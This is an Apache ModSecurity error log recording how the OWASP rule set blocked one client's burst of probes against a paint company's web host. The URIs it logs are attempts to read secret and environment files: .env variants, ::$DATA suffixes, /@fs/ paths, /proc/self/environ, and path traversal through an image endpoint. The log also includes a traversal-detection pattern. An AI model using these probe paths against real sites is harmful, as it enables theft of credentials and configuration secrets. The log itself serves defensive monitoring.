[Mon Oct 26 07:05:06.047997 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.39.164.1:35070] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8z4k5VL05DK7ky7IO-TQAAAA4"]
[Mon Oct 26 07:05:06.065812 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.39.164.1:35070] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8z4k5VL05DK7ky7IO-TQAAAA4"]
[Mon Oct 26 07:05:06.066051 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.39.164.1:35070] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8z4k5VL05DK7ky7IO-TQAAAA4"]
[Mon Oct 26 07:05:06.067065 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8z4rkwJvKDxgyGEF95iwAAABE"]
[Mon Oct 26 07:05:06.067468 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8z4rkwJvKDxgyGEF95iwAAABE"]
[Mon Oct 26 07:05:06.067672 2026] [security2:error] [pid 3019675:tid 3019675] [client 34.39.164.1:35060] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at8z4rkwJvKDxgyGEF95iwAAABE"]
[Mon Oct 26 07:05:06.167454 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at8z4nWyvchEwsg-8-hoLQAAAAs"]
[Mon Oct 26 07:05:06.168237 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at8z4nWyvchEwsg-8-hoLQAAAAs"]
[Mon Oct 26 07:05:06.168577 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.39.164.1:47370] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at8z4nWyvchEwsg-8-hoLQAAAAs"]
[Mon Oct 26 07:05:06.170066 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4hS_7eBZ2SvQo609CgAAAAo"]
[Mon Oct 26 07:05:06.170478 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4hS_7eBZ2SvQo609CgAAAAo"]
[Mon Oct 26 07:05:06.170648 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at8z4p_dbg3ptBnwDgQ3jAAAAAM"]
[Mon Oct 26 07:05:06.170767 2026] [security2:error] [pid 3019671:tid 3019671] [client 34.39.164.1:35090] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at8z4hS_7eBZ2SvQo609CgAAAAo"]
[Mon Oct 26 07:05:06.171116 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at8z4p_dbg3ptBnwDgQ3jAAAAAM"]
[Mon Oct 26 07:05:06.171422 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at8z4p_dbg3ptBnwDgQ3jAAAAAM"]
[Mon Oct 26 07:05:06.213047 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4iz2IVlcktcA6K04XgAAABg"]
[Mon Oct 26 07:05:06.213376 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4ssf6KX343046fT79wAAABM"]
[Mon Oct 26 07:05:06.213740 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4iz2IVlcktcA6K04XgAAABg"]
[Mon Oct 26 07:05:06.213816 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4ssf6KX343046fT79wAAABM"]
[Mon Oct 26 07:05:06.214236 2026] [security2:error] [pid 3019676:tid 3019676] [client 34.39.164.1:35066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at8z4ssf6KX343046fT79wAAABM"]
[Mon Oct 26 07:05:06.214236 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at8z4iz2IVlcktcA6K04XgAAABg"]
[Mon Oct 26 07:05:06.725141 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at8z4oeGqS3CXz8ptQGTrAAAAAI"]
[Mon Oct 26 07:05:06.725576 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at8z4oeGqS3CXz8ptQGTrAAAAAI"]
[Mon Oct 26 07:05:06.725858 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at8z4oeGqS3CXz8ptQGTrAAAAAI"]
[Mon Oct 26 07:05:06.734617 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/proc/self/environ"] [unique_id "at8z4htqC-HENAKDpEgEmAAAABU"]
[Mon Oct 26 07:05:06.734645 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/@fs/proc/self/environ"] [unique_id "at8z4htqC-HENAKDpEgEmAAAABU"]
[Mon Oct 26 07:05:06.736147 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at8z4gPZVv3Il2lbVePvlAAAAAQ"]
[Mon Oct 26 07:05:06.736448 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at8z4gPZVv3Il2lbVePvlAAAAAQ"]
[Mon Oct 26 07:05:06.736684 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at8z4gPZVv3Il2lbVePvlAAAAAQ"]
[Mon Oct 26 07:05:06.737522 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at8z4v2f_7_KPo47JjIUbAAAAAk"]
[Mon Oct 26 07:05:06.737835 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at8z4v2f_7_KPo47JjIUbAAAAAk"]
[Mon Oct 26 07:05:06.738110 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production::$DATA"] [unique_id "at8z4v2f_7_KPo47JjIUbAAAAAk"]
[Mon Oct 26 07:05:06.747033 2026] [security2:error] [pid 3019687:tid 3019687] [client 34.39.164.1:35214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at8z4mbsHLD8rrDCn5P1AgAAACE"]
[Mon Oct 26 07:05:06.747481 2026] [security2:error] [pid 3019687:tid 3019687] [client 34.39.164.1:35214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at8z4mbsHLD8rrDCn5P1AgAAACE"]
[Mon Oct 26 07:05:06.747773 2026] [security2:error] [pid 3019687:tid 3019687] [client 34.39.164.1:35214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at8z4mbsHLD8rrDCn5P1AgAAACE"]
[Mon Oct 26 07:05:07.165700 2026] [core:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35262] AH10244: invalid URI path (/%2e%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/environ)
[Mon Oct 26 07:05:07.191261 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at8z44eGqS3CXz8ptQGTrQAAAAI"]
[Mon Oct 26 07:05:07.191327 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at8z44eGqS3CXz8ptQGTrQAAAAI"]
[Mon Oct 26 07:05:07.191358 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at8z44eGqS3CXz8ptQGTrQAAAAI"]
[Mon Oct 26 07:05:07.191900 2026] [security2:error] [pid 3019482:tid 3019482] [client 34.39.164.1:35048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/_image"] [unique_id "at8z44eGqS3CXz8ptQGTrQAAAAI"]
